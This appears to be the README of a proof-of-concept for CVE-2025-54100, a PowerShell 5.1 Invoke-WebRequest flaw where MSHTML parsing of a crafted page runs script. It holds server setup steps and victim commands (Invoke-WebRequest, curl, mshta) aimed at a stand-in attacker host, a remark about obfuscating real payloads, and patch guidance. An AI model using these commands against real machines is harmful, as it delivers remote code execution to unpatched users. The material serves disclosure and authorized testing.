
CVE-2025-54100 (CVSS 7.8 High) is a command injection vulnerability in the Invoke-WebRequest cmdlet of Windows PowerShell 5.1. It arises from improper neutralization of special elements during the automatic parsing of Web responses.
A concise Proof-of-Concept showing how CVE-2025-54100 can lead to Remote Code Execution (RCE) in Windows PowerShell 5.1 through malicious HTML parsing.
Invoke-WebRequest when not using -UseBasicParsingActiveXObject) in the caller’s context.CVE-2025-54100.py serves a crafted HTML payload.WScript.Shell / Shell.Application ActiveX objects.calc.exe.python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
Start the PoC HTTP server:
uvicorn app:app --host 0.0.0.0 --port 8888 --reload
Run these on a vulnerable Windows machine without -UseBasicParsing:
# Invoke-WebRequest
Invoke-WebRequest -Uri "http://<attacker-ip>:8888"
# curl alias
curl http://<attacker-ip>:8888
# mshta
mshta http://<attacker-ip>:8888
Use the same port you configured for the server. If vulnerable, the embedded script executes via the MSHTML parser. Some AV products may block the behavior even though the parsing issue is present.
If calc.exe does not appear:
Invoke-WebRequest without -UseBasicParsing.This demonstrates the execution vector. Real-world payloads may use obfuscation or additional bypasses to evade default restrictions.

Microsoft patched the issue in December 2025:
-UseBasicParsing to avoid MSHTML parsing:
Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing
[!WARNING] For educational and authorized testing only. Use responsibly and comply with all applicable laws. The authors are not liable for misuse or damage.